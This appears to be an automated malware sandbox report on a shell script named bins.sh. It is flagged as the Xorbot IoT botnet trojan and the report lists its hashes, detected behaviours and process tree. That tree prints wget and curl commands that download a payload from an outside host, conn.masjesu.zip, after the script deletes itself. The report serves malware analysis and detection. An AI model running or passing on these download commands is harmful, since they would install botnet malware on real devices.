Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
150s -
max time network
149s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240611-en -
resource tags
-
submitted
05/01/2025, 16:47
General
-
Target
bins.sh
-
Size
10KB
-
MD5
e4f7c4a0fc9b3693b98dd8a72fd33c6c
-
SHA1
02b5a992865ee73db4aa7f47d76847017ed9bef8
-
SHA256
c063bdd7c8bb3a71082fd8295be7980b06d75b9fea1efbd02684a2a4dff87397
-
SHA512
033e72887a61c5b6f214acdd88d420cabe9b673b8f239ac5093c17d861c313167840c19e65b07bdb6b69b9a25e1cc58d577e76d6dc4e4f3d2df38ec298ff473d
-
SSDEEP
96:Yj/p8AKhThvhQDDcwLk/kTkvm+qLfrnf/fyJptLCalhvhDhm3v6qi3EIuMZ7XeU1:w1zr3yJptWTc8QbWGvSr3yJpX8QbWGd
Malware Config
Signatures
-
Detects Xorbot 1 IoCs
-
Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
-
Xorbot family
-
Reads runtime system information 1 IoCs
Reads data from /proc virtual filesystem.
-
System Network Configuration Discovery 1 TTPs 2 IoCs
Adversaries may gather information about the network configuration of a system.
-
Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵
-
/bin/rm/bin/rm bins.sh2⤵
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/fp1TM7xkHleA56PawZ0JH51VscniTO4kvD2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/fp1TM7xkHleA56PawZ0JH51VscniTO4kvD2⤵
- Reads runtime system information
- System Network Configuration Discovery
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
99KB
MD59438d9bc392bcf300a5583b6df5bc8f6
SHA1375a6ae34b516f6f3eeea8030c4084f585017efa
SHA25668e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
SHA5121f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860